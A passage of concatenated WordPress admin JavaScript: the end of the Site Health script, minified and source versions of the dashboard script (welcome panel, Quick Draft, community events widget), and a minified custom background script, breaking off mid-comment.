			$.each( SiteHealth.site_status.direct, function() {
				appendIssue( this );
			} );
		}

		if ( 0 < SiteHealth.site_status.async.length ) {
			maybeRunNextAsyncTest();
		} else {
			recalculateProgression();
		}
	}

	function getDirectorySizes() {
		var timestamp = ( new Date().getTime() );

		// After 3 seconds announce that we're still waiting for directory sizes.
		var timeout = window.setTimeout( function() {
			announceTestsProgression( 'waiting-for-directory-sizes' );
		}, 3000 );

		wp.apiRequest( {
			path: '/wp-site-health/v1/directory-sizes'
		} ).done( function( response ) {
			updateDirSizes( response || {} );
		} ).always( function() {
			var delay = ( new Date().getTime() ) - timestamp;

			$( '.health-check-wp-paths-sizes.spinner' ).css( 'visibility', 'hidden' );

			if ( delay > 3000 ) {
				/*
				 * We have announced that we're waiting.
				 * Announce that we're ready after giving at least 3 seconds
				 * for the first announcement to be read out, or the two may collide.
				 */
				if ( delay > 6000 ) {
					delay = 0;
				} else {
					delay = 6500 - delay;
				}

				window.setTimeout( function() {
					recalculateProgression();
				}, delay );
			} else {
				// Cancel the announcement.
				window.clearTimeout( timeout );
			}

			$( document ).trigger( 'site-health-info-dirsizes-done' );
		} );
	}

	function updateDirSizes( data ) {
		var copyButton = $( 'button.button.copy-button' );
		var clipboardText = copyButton.attr( 'data-clipboard-text' );

		$.each( data, function( name, value ) {
			var text = value.debug || value.size;

			if ( typeof text !== 'undefined' ) {
				clipboardText = clipboardText.replace( name + ': loading...', name + ': ' + text );
			}
		} );

		copyButton.attr( 'data-clipboard-text', clipboardText );

		pathsSizesSection.find( 'td[class]' ).each( function( i, element ) {
			var td = $( element );
			var name = td.attr( 'class' );

			if ( data.hasOwnProperty( name ) && data[ name ].size ) {
				td.text( data[ name ].size );
			}
		} );
	}

	if ( isDebugTab ) {
		if ( pathsSizesSection.length ) {
			getDirectorySizes();
		} else {
			recalculateProgression();
		}
	}

	// Trigger a class toggle when the extended menu button is clicked.
	$( '.health-check-offscreen-nav-wrapper' ).on( 'click', function() {
		$( this ).toggleClass( 'visible' );
	} );

	/**
	 * Announces to assistive technologies the tests progression status.
	 *
	 * @since 6.4.0
	 *
	 * @param {string} type The type of message to be announced.
	 *
	 * @return {void}
	 */
	function announceTestsProgression( type ) {
		// Only announce the messages in the Site Health pages.
		if ( 'site-health' !== SiteHealth.screen ) {
			return;
		}

		switch ( type ) {
			case 'good':
				wp.a11y.speak( __( 'All site health tests have finished running. Your site is looking good.' ) );
				break;
			case 'improvable':
				wp.a11y.speak( __( 'All site health tests have finished running. There are items that should be addressed.' ) );
				break;
			case 'waiting-for-directory-sizes':
				wp.a11y.speak( __( 'Running additional tests... please wait.' ) );
				break;
			default:
				return;
		}
	}
} );
/*! This file is auto-generated */
window.wp=window.wp||{},window.communityEventsData=window.communityEventsData||{},jQuery(function(s){var t,n=s("#welcome-panel"),e=s("#wp_welcome_panel-hide");t=function(e){s.post(ajaxurl,{action:"update-welcome-panel",visible:e,welcomepanelnonce:s("#welcomepanelnonce").val()})},n.hasClass("hidden")&&e.prop("checked")&&n.removeClass("hidden"),s(".welcome-panel-close, .welcome-panel-dismiss a",n).on("click",function(e){e.preventDefault(),n.addClass("hidden"),t(0),s("#wp_welcome_panel-hide").prop("checked",!1)}),e.on("click",function(){n.toggleClass("hidden",!this.checked),t(this.checked?1:0)}),window.ajaxWidgets=["dashboard_primary"],window.ajaxPopulateWidgets=function(e){function t(e,t){var n,o=s("#"+t+" div.inside:visible").find(".widget-loading");o.length&&(n=o.parent(),setTimeout(function(){n.load(ajaxurl+"?action=dashboard-widgets&widget="+t+"&pagenow="+pagenow,"",function(){n.hide().slideDown("normal",function(){s(this).css("display","")})})},500*e))}e?(e=e.toString(),-1!==s.inArray(e,ajaxWidgets)&&t(0,e)):s.each(ajaxWidgets,t)},ajaxPopulateWidgets(),postboxes.add_postbox_toggles(pagenow,{pbshow:ajaxPopulateWidgets}),window.quickPressLoad=function(){var t,n,o,i,a,e=s("#quickpost-action");s('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop("disabled",!1),t=s("#quick-press").on("submit",function(e){e.preventDefault(),s("#dashboard_quick_press #publishing-action .spinner").show(),s('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop("disabled",!0),s.post(t.attr("action"),t.serializeArray(),function(e){var t;s("#dashboard_quick_press .inside").html(e),s("#quick-press").removeClass("initial-form"),quickPressLoad(),(t=s(".drafts ul li").first()).css("background","#fffbe5"),setTimeout(function(){t.css("background","none")},1e3),s("#title").trigger("focus")})}),s("#publish").on("click",function(){e.val("post-quickpress-publish")}),s("#quick-press").on("click focusin",function(){wpActiveEditor="content"}),document.documentMode&&document.documentMode<9||(s("body").append('<div class="quick-draft-textarea-clone" style="display: none;"></div>'),n=s(".quick-draft-textarea-clone"),o=s("#content"),i=o.height(),a=s(window).height()-100,n.css({"font-family":o.css("font-family"),"font-size":o.css("font-size"),"line-height":o.css("line-height"),"padding-bottom":o.css("paddingBottom"),"padding-left":o.css("paddingLeft"),"padding-right":o.css("paddingRight"),"padding-top":o.css("paddingTop"),"white-space":"pre-wrap","word-wrap":"break-word",display:"none"}),o.on("focus input propertychange",function(){var e=s(this),t=e.val()+"&nbsp;",t=n.css("width",e.css("width")).text(t).outerHeight()+2;o.css("overflow-y","auto"),t===i||a<=t&&a<=i||(i=a<t?a:t,o.css("overflow","hidden"),e.css("height",i+"px"))}))},window.quickPressLoad(),s(".meta-box-sortables").sortable("option","containment","#wpwrap")}),jQuery(function(c){"use strict";var r=window.communityEventsData,s=wp.date.dateI18n,m=wp.date.format,d=wp.i18n.sprintf,l=wp.i18n.__,u=wp.i18n._x,p=window.wp.communityEvents={initialized:!1,model:null,init:function(){var e;p.initialized||(e=c("#community-events"),c(".community-events-errors").attr("aria-hidden","true").removeClass("hide-if-js"),e.on("click",".community-events-toggle-location, .community-events-cancel",p.toggleLocationForm),e.on("submit",".community-events-form",function(e){var t=c("#community-events-location").val().trim();e.preventDefault(),t&&p.getEvents({location:t})}),r&&r.cache&&r.cache.location&&r.cache.events?p.renderEventsTemplate(r.cache,"app"):p.getEvents(),p.initialized=!0)},toggleLocationForm:function(e){var t=c(".community-events-toggle-location"),n=c(".community-events-cancel"),o=c(".community-events-form"),i=c();"object"==typeof e&&(i=c(e.target),e="true"==t.attr("aria-expanded")?"hide":"show"),"hide"===e?(t.attr("aria-expanded","false"),n.attr("aria-expanded","false"),o.attr("aria-hidden","true"),i.hasClass("community-events-cancel")&&t.trigger("focus")):(t.attr("aria-expanded","true"),n.attr("aria-expanded","true"),o.attr("aria-hidden","false"))},getEvents:function(t){var n,o=this,e=c(".community-events-form").children(".spinner");(t=t||{})._wpnonce=r.nonce,t.timezone=window.Intl?window.Intl.DateTimeFormat().resolvedOptions().timeZone:"",n=t.location?"user":"app",e.addClass("is-active"),wp.ajax.post("get-community-events",t).always(function(){e.removeClass("is-active")}).done(function(e){"no_location_available"===e.error&&(t.location?e.unknownCity=t.location:delete e.error),o.renderEventsTemplate(e,n)}).fail(function(){o.renderEventsTemplate({location:!1,events:[],error:!0},n)})},renderEventsTemplate:function(e,t){var n,o,i=c(".community-events-toggle-location"),a=c("#community-events-location-message"),s=c(".community-events-results");e.events=p.populateDynamicEventFields(e.events,r.time_format),o={".community-events":!0,".community-events-loading":!1,".community-events-errors":!1,".community-events-error-occurred":!1,".community-events-could-not-locate":!1,"#community-events-location-message":!1,".community-events-toggle-location":!1,".community-events-results":!1},e.location.ip?(a.text(l("Attend an upcoming event near you.")),n=e.events.length?wp.template("community-events-event-list"):wp.template("community-events-no-upcoming-events"),s.html(n(e)),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0,o[".community-events-results"]=!0):e.location.description?(n=wp.template("community-events-attend-event-near"),a.html(n(e)),n=e.events.length?wp.template("community-events-event-list"):wp.template("community-events-no-upcoming-events"),s.html(n(e)),"user"===t&&wp.a11y.speak(d(l("City updated. Listing events near %s."),e.location.description),"assertive"),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0,o[".community-events-results"]=!0):e.unknownCity?(n=wp.template("community-events-could-not-locate"),c(".community-events-could-not-locate").html(n(e)),wp.a11y.speak(d(l("We couldn\u2019t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland."),e.unknownCity)),o[".community-events-errors"]=!0,o[".community-events-could-not-locate"]=!0):e.error&&"user"===t?(wp.a11y.speak(l("An error occurred. Please try again.")),o[".community-events-errors"]=!0,o[".community-events-error-occurred"]=!0):(a.text(l("Enter your closest city to find nearby events.")),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0),_.each(o,function(e,t){c(t).attr("aria-hidden",!e)}),i.attr("aria-expanded",o[".community-events-toggle-location"]),e.location&&(e.location.ip||e.location.latitude)?(p.toggleLocationForm("hide"),"user"===t&&i.trigger("focus")):p.toggleLocationForm("show")},populateDynamicEventFields:function(e,o){e=JSON.parse(JSON.stringify(e));return c.each(e,function(e,t){var n=p.getTimeZone(1e3*t.start_unix_timestamp);t.user_formatted_date=p.getFormattedDate(1e3*t.start_unix_timestamp,1e3*t.end_unix_timestamp,n),t.user_formatted_time=s(o,1e3*t.start_unix_timestamp,n),t.timeZoneAbbreviation=p.getTimeZoneAbbreviation(1e3*t.start_unix_timestamp)}),e},getTimeZone:function(e){var t=Intl.DateTimeFormat().resolvedOptions().timeZone;return t=void 0===t?p.getFlippedTimeZoneOffset(e):t},getFlippedTimeZoneOffset:function(e){return-1*new Date(e).getTimezoneOffset()},getTimeZoneAbbreviation:function(e){var t,n=new Date(e).toLocaleTimeString(void 0,{timeZoneName:"short"}).split(" ");return void 0===(t=3===n.length?n[2]:t)&&(n=p.getFlippedTimeZoneOffset(e),e=-1===Math.sign(n)?"":"+",t=u("GMT","Events widget offset prefix")+e+n/60),t},getFormattedDate:function(e,t,n){var o=l("l, M j, Y"),i=l("%1$s %2$d\u2013%3$d, %4$d"),a=l("%1$s %2$d \u2013 %3$s %4$d, %5$d"),i=t&&m("Y-m-d",e)!==m("Y-m-d",t)?m("Y-m",e)===m("Y-m",t)?d(i,s(u("F","upcoming events month format"),e,n),s(u("j","upcoming events day format"),e,n),s(u("j","upcoming events day format"),t,n),s(u("Y","upcoming events year format"),t,n)):d(a,s(u("F","upcoming events month format"),e,n),s(u("j","upcoming events day format"),e,n),s(u("F","upcoming events month format"),t,n),s(u("j","upcoming events day format"),t,n),s(u("Y","upcoming events year format"),t,n)):s(o,e,n);return i}};c("#dashboard_primary").is(":visible")?p.init():c(document).on("postbox-toggled",function(e,t){t=c(t);"dashboard_primary"===t.attr("id")&&t.is(":visible")&&p.init()})}),window.communityEventsData.l10n=window.communityEventsData.l10n||{enter_closest_city:"",error_occurred_please_try_again:"",attend_event_near_generic:"",could_not_locate_city:"",city_updated:""},window.communityEventsData.l10n=window.wp.deprecateL10nObject("communityEventsData.l10n",window.communityEventsData.l10n,"5.6.0");/*! This file is auto-generated */
!function(e){e(function(){var c,a=e("#custom-background-image");e("#background-color").wpColorPicker({change:function(n,o){a.css("background-color",o.color.toString())},clear:function(){a.css("background-color","")}}),e('select[name="background-size"]').on("change",function(){a.css("background-size",e(this).val())}),e('input[name="background-position"]').on("change",function(){a.css("background-position",e(this).val())}),e('input[name="background-repeat"]').on("change",function(){a.css("background-repeat",e(this).is(":checked")?"repeat":"no-repeat")}),e('input[name="background-attachment"]').on("change",function(){a.css("background-attachment",e(this).is(":checked")?"scroll":"fixed")}),e("#choose-from-library-link").on("click",function(n){var o=e(this);n.preventDefault(),c||(c=wp.media.frames.customBackground=wp.media({title:o.data("choose"),library:{type:"image"},button:{text:o.data("update"),close:!1}})).on("select",function(){var n=c.state().get("selection").first(),o=e("#_wpnonce").val()||"";e.post(ajaxurl,{action:"set-background-image",attachment_id:n.id,_ajax_nonce:o,size:"full"}).done(function(){window.location.reload()})}),c.open()})})}(jQuery);/**
 * @output wp-admin/js/dashboard.js
 */

/* global pagenow, ajaxurl, postboxes, wpActiveEditor:true, ajaxWidgets */
/* global ajaxPopulateWidgets, quickPressLoad,  */
window.wp = window.wp || {};
window.communityEventsData = window.communityEventsData || {};

/**
 * Initializes the dashboard widget functionality.
 *
 * @since 2.7.0
 */
jQuery( function($) {
	var welcomePanel = $( '#welcome-panel' ),
		welcomePanelHide = $('#wp_welcome_panel-hide'),
		updateWelcomePanel;

	/**
	 * Saves the visibility of the welcome panel.
	 *
	 * @since 3.3.0
	 *
	 * @param {boolean} visible Should it be visible or not.
	 *
	 * @return {void}
	 */
	updateWelcomePanel = function( visible ) {
		$.post( ajaxurl, {
			action: 'update-welcome-panel',
			visible: visible,
			welcomepanelnonce: $( '#welcomepanelnonce' ).val()
		});
	};

	// Unhide the welcome panel if the Welcome Option checkbox is checked.
	if ( welcomePanel.hasClass('hidden') && welcomePanelHide.prop('checked') ) {
		welcomePanel.removeClass('hidden');
	}

	// Hide the welcome panel when the dismiss button or close button is clicked.
	$('.welcome-panel-close, .welcome-panel-dismiss a', welcomePanel).on( 'click', function(e) {
		e.preventDefault();
		welcomePanel.addClass('hidden');
		updateWelcomePanel( 0 );
		$('#wp_welcome_panel-hide').prop('checked', false);
	});

	// Set welcome panel visibility based on Welcome Option checkbox value.
	welcomePanelHide.on( 'click', function() {
		welcomePanel.toggleClass('hidden', ! this.checked );
		updateWelcomePanel( this.checked ? 1 : 0 );
	});

	/**
	 * These widgets can be populated via ajax.
	 *
	 * @since 2.7.0
	 *
	 * @type {string[]}
	 *
	 * @global
 	 */
	window.ajaxWidgets = ['dashboard_primary'];

	/**
	 * Triggers widget updates via Ajax.
	 *
	 * @since 2.7.0
	 *
	 * @global
	 *
	 * @param {string} el Optional. Widget to fetch or none to update all.
	 *
	 * @return {void}
	 */
	window.ajaxPopulateWidgets = function(el) {
		/**
		 * Fetch the latest representation of the widget via Ajax and show it.
		 *
		 * @param {number} i Number of half-seconds to use as the timeout.
		 * @param {string} id ID of the element which is going to be checked for changes.
		 *
		 * @return {void}
		 */
		function show(i, id) {
			var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading');
			// If the element is found in the dom, queue to load latest representation.
			if ( e.length ) {
				p = e.parent();
				setTimeout( function(){
					// Request the widget content.
					p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() {
						// Hide the parent and slide it out for visual fancyness.
						p.hide().slideDown('normal', function(){
							$(this).css('display', '');
						});
					});
				}, i * 500 );
			}
		}

		// If we have received a specific element to fetch, check if it is valid.
		if ( el ) {
			el = el.toString();
			// If the element is available as Ajax widget, show it.
			if ( $.inArray(el, ajaxWidgets) !== -1 ) {
				// Show element without any delay.
				show(0, el);
			}
		} else {
			// Walk through all ajaxWidgets, loading them after each other.
			$.each( ajaxWidgets, show );
		}
	};

	// Initially populate ajax widgets.
	ajaxPopulateWidgets();

	// Register ajax widgets as postbox toggles.
	postboxes.add_postbox_toggles(pagenow, { pbshow: ajaxPopulateWidgets } );

	/**
	 * Control the Quick Press (Quick Draft) widget.
	 *
	 * @since 2.7.0
	 *
	 * @global
	 *
	 * @return {void}
	 */
	window.quickPressLoad = function() {
		var act = $('#quickpost-action'), t;

		// Enable the submit buttons.
		$( '#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]' ).prop( 'disabled' , false );

		t = $('#quick-press').on( 'submit', function( e ) {
			e.preventDefault();

			// Show a spinner.
			$('#dashboard_quick_press #publishing-action .spinner').show();

			// Disable the submit button to prevent duplicate submissions.
			$('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop('disabled', true);

			// Post the entered data to save it.
			$.post( t.attr( 'action' ), t.serializeArray(), function( data ) {
				// Replace the form, and prepend the published post.
				$('#dashboard_quick_press .inside').html( data );
				$('#quick-press').removeClass('initial-form');
				quickPressLoad();
				highlightLatestPost();

				// Focus the title to allow for quickly drafting another post.
				$('#title').trigger( 'focus' );
			});

			/**
			 * Highlights the latest post for one second.
			 *
			 * @return {void}
 			 */
			function highlightLatestPost () {
				var latestPost = $('.drafts ul li').first();
				latestPost.css('background', '#fffbe5');
				setTimeout(function () {
					latestPost.css('background', 'none');
				}, 1000);
			}
		} );

		// Change the QuickPost action to the publish value.
		$('#publish').on( 'click', function() { act.val( 'post-quickpress-publish' ); } );

		$('#quick-press').on( 'click focusin', function() {
			wpActiveEditor = 'content';
		});

		autoResizeTextarea();
	};
	window.quickPressLoad();

	// Enable the dragging functionality of the widgets.
	$( '.meta-box-sortables' ).sortable( 'option', 'containment', '#wpwrap' );

	/**
	 * Adjust the height of the textarea based on the content.
	 *
	 * @since 3.6.0
	 *
	 * @return {void}
	 */
	function autoResizeTextarea() {
		// When IE8 or older is used to render this document, exit.
		if ( document.documentMode && document.documentMode < 9 ) {
			return;
		}

		// Add a hidden div. We'll copy over the text from the textarea to measure its height.
		$('body').append( '<div class="quick-draft-textarea-clone" style="display: none;"></div>' );

		var clone = $('.quick-draft-textarea-clone'),
			editor = $('#content'),
			editorHeight = editor.height(),
			/*
			 * 100px roughly accounts for browser chrome and allows the
			 * save draft button to show on-screen at the same time.
			 */
			editorMaxHeight = $(window).height() - 100;

		/*
		 * Match up textarea and clone div as much as possible.
		 * Padding cannot be reliably retrieved using shorthand in all browsers.
		 */
		clone.css({
			'font-family': editor.css('font-family'),
			'font-size':   editor.css('font-size'),
			'line-height': editor.css('line-height'),
			'padding-bottom': editor.css('paddingBottom'),
			'padding-left': editor.css('paddingLeft'),
			'padding-right': editor.css('paddingRight'),
			'padding-top': editor.css('paddingTop'),
			'white-space': 'pre-wrap',
			'word-wrap': 'break-word',
			'display': 'none'
		});

		// The 'propertychange' is used in IE < 9.
		editor.on('focus input propertychange', function() {
			var $this = $(this),
				// Add a non-breaking space to ensure that the height of a trailing newline is
				// included.
				textareaContent = $this.val() + '&nbsp;',
				// Add 2px to compensate for border-top & border-bottom.
				cloneHeight = clone.css('width', $this.css('width')).text(textareaContent).outerHeight() + 2;

			// Default to show a vertical scrollbar, if needed.
			editor.css('overflow-y', 'auto');

			// Only change the height if it has changed and both heights are below the max.
			if ( cloneHeight === editorHeight || ( cloneHeight >= editorMaxHeight && editorHeight >= editorMaxHeight ) ) {
				return;
			}

			/*
			 * Don't allow editor to exceed the height of the window.
			 * This is also bound in CSS to a max-height of 1300px to be extra safe.
			 */
			if ( cloneHeight > editorMaxHeight ) {
				editorHeight = editorMaxHeight;
			} else {
				editorHeight = cloneHeight;
			}

			// Disable scrollbars because we adjust the height to the content.
			editor.css('overflow', 'hidden');

			$this.css('height', editorHeight + 'px');
		});
	}

} );

jQuery( function( $ ) {
	'use strict';

	var communityEventsData = window.communityEventsData,
		dateI18n = wp.date.dateI18n,
		format = wp.date.format,
		sprintf = wp.i18n.sprintf,
		__ = wp.i18n.__,
		_x = wp.i18n._x,
		app;

	/**
	 * Global Community Events namespace.
	 *
	 * @since 4.8.0
	 *
	 * @memberOf wp
	 * @namespace wp.communityEvents
	 */
	app = window.wp.communityEvents = /** @lends wp.communityEvents */{
		initialized: false,
		model: null,

		/**
		 * Initializes the wp.communityEvents object.
		 *
		 * @since 4.8.0
		 *
		 * @return {void}
		 */
		init: function() {
			if ( app.initialized ) {
				return;
			}

			var $container = $( '#community-events' );

			/*
			 * When JavaScript is disabled, the errors container is shown, so
			 * that "This widget requires JavaScript" message can be seen.
			 *
			 * When JS is enabled, the container is hidden at first, and then
			 * revealed during the template rendering, if there actually are
			 * errors to show.
			 *
			 * The display indicator switches from `hide-if-js` to `aria-hidden`
			 * here in order to maintain consistency with all the other fields
			 * that key off of `aria-hidden` to determine their visibility.
			 * `aria-hidden` can't be used initially, because there would be no
			 * way to set it to false when JavaScript is disabled, which would
			 * prevent people from seeing the "This widget requires JavaScript"
			 * message.
			 */
			$( '.community-events-errors' )
				.attr( 'aria-hidden', 'true' )
				.removeClass( 'hide-if-js' );

			$container.on( 'click', '.community-events-toggle-location, .community-events-cancel', app.toggleLocationForm );

			/**
			 * Filters events based on entered location.
			 *
			 * @return {void}
			 */
			$container.on( 'submit', '.community-events-form', function( event ) {
				var location = $( '#community-events-location' ).val().trim();

				event.preventDefault();

				/*
				 * Don't trigger a search if the search field is empty or the
				 * search term was made of only spaces before being trimmed.
				 */
				if ( ! location ) {
					return;
				}

				app.getEvents({
					location: location
				});
			});

			if ( communityEventsData && communityEventsData.cache && communityEventsData.cache.location && communityEventsData.cache.events ) {
				app.renderEventsTemplate( communityEventsData.cache, 'app' );
			} else {
				app.getEvents();
			}

			app.initialized = true;
		},

		/**
		 * Toggles the visibility of the Edit Location form.
		 *
		 * @since 4.8.0
		 *
		 * @param {event|string} action 'show' or 'hide' to specify a state;
		 *                              or an event object to flip between states.
		 *
		 * @return {void}
		 */
		toggleLocationForm: function( action ) {
			var $toggleButton = $( '.community-events-toggle-location' ),
				$cancelButton = $( '.community-events-cancel' ),
				$form         = $( '.community-events-form' ),
				$target       = $();

			if ( 'object' === typeof action ) {
				// The action is the event object: get the clicked element.
				$target = $( action.target );
				/*
				 * Strict comparison doesn't work in this case because sometimes
				 * we explicitly pass a string as value of aria-expanded and
				 * sometimes a boolean as the result of an evaluation.
				 */
				action = 'true' == $toggleButton.attr( 'aria-expanded' ) ? 'hide' : 'show';
			}

			if ( 'hide' === action ) {
				$toggleButton.attr( 'aria-expanded', 'false' );
				$cancelButton.attr( 'aria-expanded', 'false' );
				$form.attr( 'aria-hidden', 'true' );
				/*
				 * If the Cancel button has been clicked, bring the focus back
				 * to the toggle button so users relying on screen readers don't
				 * lose their place.
				 */
				if ( $target.hasClass( 'community-events-cancel' ) ) {
					$toggleButton.trigger( 'focus' );
				}
			} else {
				$toggleButton.attr( 'aria-expanded', 'true' );
				$cancelButton.attr( 'aria-expanded', 'true' );
				$form.attr( 'aria-hidden', 'false' );
			}
		},

		/**
		 * Sends REST API requests to fetch events for the widget.
		 *
		 * @since 4.8.0
		 *
		 * @param {Object} requestParams REST API Request parameters object.
		 *
		 * @return {void}
		 */
		getEvents: function( requestParams ) {
			var initiatedBy,
				app = this,
				$spinner = $( '.community-events-form' ).children( '.spinner' );

			requestParams          = requestParams || {};
			requestParams._wpnonce = communityEventsData.nonce;
			requestParams.timezone = window.Intl ? window.Intl.DateTimeFormat().resolvedOptions().timeZone : '';

			initiatedBy = requestParams.location ? 'user' : 'app';

			$spinner.addClass( 'is-active' );

			wp.ajax.post( 'get-community-events', requestParams )
				.always( function() {
					$spinner.removeClass( 'is-active' );
				})

				.done( function( response ) {
					if ( 'no_location_available' === response.error ) {
						if ( requestParams.location ) {
							response.unknownCity = requestParams.location;
						} else {
							/*
							 * No location was passed, which means that this was an automatic query
							 * based on IP, locale, and timezone. Since the user didn't initiate it,
							 * it should fail silently. Otherwise, the error could confuse and/or
							 * annoy them.
							 */
							delete response.error;
						}
					}
					app.renderEventsTemplate( response, initiatedBy );
				})

				.fail( function() {
					app.renderEventsTemplate({
						'location' : false,
						'events'   : [],
						'error'    : true
					}, initiatedBy );
				});
		},

		/**
		 * Renders the template for the Events section of the Events & News widget.
		 *
		 * @since 4.8.0
		 *
		 * @param {Object} templateParams The various parameters that will get passed to wp.template.
		 * @param {string} initiatedBy    'user' to indicate that this was triggered manually by the user;
		 *                                'app' to indicate it was triggered automatically by the app itself.
		 *
		 * @return {void}
		 */
		renderEventsTemplate: function( templateParams, initiatedBy ) {
			var template,
				elementVisibility,
				$toggleButton    = $( '.community-events-toggle-location' ),
				$locationMessage = $( '#community-events-location-message' ),
				$results         = $( '.community-events-results' );

			templateParams.events = app.populateDynamicEventFields(
				templateParams.events,
				communityEventsData.time_format
			);

			/*
			 * Hide all toggleable elements by default, to keep the logic simple.
			 * Otherwise, each block below would have to turn hide everything that
			 * could have been shown at an earlier point.
			 *
			 * The exception to that is that the .community-events container is hidden
			 * when the page is first loaded, because the content isn't ready yet,
			 * but once we've reached this point, it should always be shown.
			 */
			elementVisibility = {
				'.community-events'                  : true,
				'.community-events-loading'          : false,
				'.community-events-errors'           : false,
				'.community-events-error-occurred'   : false,
				'.community-events-could-not-locate' : false,
				'#community-events-location-message' : false,
				'.community-events-toggle-location'  : false,
				'.community-events-results'          : false
			};

			/*
			 * Determine which templates should be rendered and which elements
			 * should be displayed.
			 */
			if ( templateParams.location.ip ) {
				/*
				 * If the API determined the location by geolocating an IP, it will
				 * provide events, but not a specific location.
				 */
				$locationMessage.text( __( 'Attend an upcoming event near you.' ) );

				if ( templateParams.events.length ) {
					template = wp.template( 'community-events-event-list' );
					$results.html( template( templateParams ) );
				} else {
					template = wp.template( 'community-events-no-upcoming-events' );
					$results.html( template( templateParams ) );
				}

				elementVisibility['#community-events-location-message'] = true;
				elementVisibility['.community-events-toggle-location']  = true;
				elementVisibility['.community-events-results']          = true;

			} else if ( templateParams.location.description ) {
				template = wp.template( 'community-events-attend-event-near' );
				$locationMessage.html( template( templateParams ) );

				if ( templateParams.events.length ) {
					template = wp.template( 'community-events-event-list' );
					$results.html( template( templateParams ) );
				} else {
					template = wp.template( 'community-events-no-upcoming-events' );
					$results.html( template( templateParams ) );
				}

				if ( 'user' === initiatedBy ) {
					wp.a11y.speak(
						sprintf(
							/* translators: %s: The name of a city. */
							__( 'City updated. Listing events near %s.' ),
							templateParams.location.description
						),
						'assertive'
					);
				}

				elementVisibility['#community-events-location-message'] = true;
				elementVisibility['.community-events-toggle-location']  = true;
				elementVisibility['.community-events-results']          = true;

			} else if ( templateParams.unknownCity ) {
				template = wp.template( 'community-events-could-not-locate' );
				$( '.community-events-could-not-locate' ).html( template( templateParams ) );
				wp.a11y.speak(
					sprintf(
						/*
						 * These specific examples were chosen to highlight the fact that a
						 * state is not needed, even for cities whose name is not unique.
						 * It would be too cumbersome to include that in the instructions
						 * to the user, so it's left as an implication.
						 */
						/*
						 * translators: %s is the name of the city we couldn't locate.
						 * Replace the examples with cities related to your locale. Test that
						 * they match the expected location and have upcoming events before
						 * including them. If no cities related to your locale have events,
						 * then use cities related to your locale that would be recognizable
						 * to most users. Use only the city name itself, without any region
						 * or country. Use the endonym (native locale name) instead of the
						 * English name if possible.
						 */
						__( 'We couldn’t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ),
						templateParams.unknownCity
					)
				);

				elementVisibility['.community-events-errors']           = true;
				elementVisibility['.community-events-could-not-locate'] = true;

			} else if ( templateParams.error && 'user' === initiatedBy ) {
				/*
				 * Errors messages are only shown for requests that were initiated
				 * by the user, not for ones that were initiated by the app itself.
				 * Showing error messages for an event that user isn't aware of
				 * could be confusing or unnecessarily distracting.
				 */
				wp.a11y.speak( __( 'An error occurred. Please try again.' ) );

				elementVisibility['.community-events-errors']         = true;
				elementVisibility['.community-events-error-occurred'] = true;
			} else {
				$locationMessage.text( __( 'Enter your closest city to find nearby events.' ) );

				elementVisibility['#community-events-location-message'] = true;
				elementVisibility['.community-events-toggle-location']  = true;
			}

			// Set the visibility of toggleable elements.
			_.each( elementVisibility, function( isVisible, element ) {
				$( element ).attr( 'aria-hidden', ! isVisible );
			});

			$toggleButton.attr( 'aria-expanded', elementVisibility['.community-events-toggle-location'] );

			if ( templateParams.location && ( templateParams.location.ip || templateParams.location.latitude ) ) {
				// Hide the form when there's a valid location.
				app.toggleLocationForm( 'hide' );

				if ( 'user' === initiatedBy ) {
					/*
					 * When the form is programmatically hidden after a user search,
					 * bring the focus back to the toggle button so users relying
					 * on screen readers don't lose their place.
					 */
					$toggleButton.trigger( 'focus' );
				}
			} else {
				app.toggleLocationForm( 'show' );
			}
		},

		/**
		 * Populate event fields that have to be calculated on the fly.
		 *
		 * These can't be stored in the database, because they're dependent on
		 * the user's current time zone, locale, etc.
		 *
		 * @since 5.5.2
		 *
		 * @param {Array}  rawEvents  The events that should have dynamic fields added to them.
		 * @param {string} timeFormat A time format acceptable by `wp.date.dateI18n()`.
		 *
		 * @returns {Array}
		 */
		populateDynamicEventFields: function( rawEvents, timeFormat ) {
			// Clone the parameter to avoid mutating it, so that this can remain a pure function.
			var populatedEvents = JSON.parse( JSON.stringify( rawEvents ) );

			$.each( populatedEvents, function( index, event ) {
				var timeZone = app.getTimeZone( event.start_unix_timestamp * 1000 );

				event.user_formatted_date = app.getFormattedDate(
					event.start_unix_timestamp * 1000,
					event.end_unix_timestamp * 1000,
					timeZone
				);

				event.user_formatted_time = dateI18n(
					timeFormat,
					event.start_unix_timestamp * 1000,
					timeZone
				);

				event.timeZoneAbbreviation = app.getTimeZoneAbbreviation( event.start_unix_timestamp * 1000 );
			} );

			return populatedEvents;
		},

		/**
		 * Returns the user's local/browser time zone, in a form suitable for `wp.date.i18n()`.
		 *
		 * @since 5.5.2
		 *
		 * @param startTimestamp
		 *
		 * @returns {string|number}
		 */
		getTimeZone: function( startTimestamp ) {
			/*
			 * Prefer a name like `Europe/Helsinki`, since that automatically tracks daylight savings. This
			 * doesn't need to take `startTimestamp` into account for that reason.
			 */
			var timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;

			/*
			 * Fall back to an offset for IE11, which declares the property but doesn't assign a value.
			 */
			if ( 'undefined' === typeof timeZone ) {
				/*
				 * It's important to use the _event_ time, not the _current_
				 * time, so that daylight savings time is accounted for.
				 */
				timeZone = app.getFlippedTimeZoneOffset( startTimestamp );
			}

			return timeZone;
		},

		/**
		 * Get intuitive time zone offset.
		 *
		 * `Data.prototype.getTimezoneOffset()` returns a positive value for time zones
		 * that are _behind_ UTC, and a _negative_ value for ones that are ahead.
		 *
		 * See https://stackoverflow.com/questions/21102435/why-does-javascript-date-gettimezoneoffset-consider-0500-as-a-positive-off.
		 *
		 * @since 5.5.2
		 *
		 * @param {number} startTimestamp
		 *
		 * @returns {number}
		 */
		getFlippedTimeZoneOffset: function( startTimestamp ) {
			return new Date( startTimestamp ).getTimezoneOffset() * -1;
		},

		/**
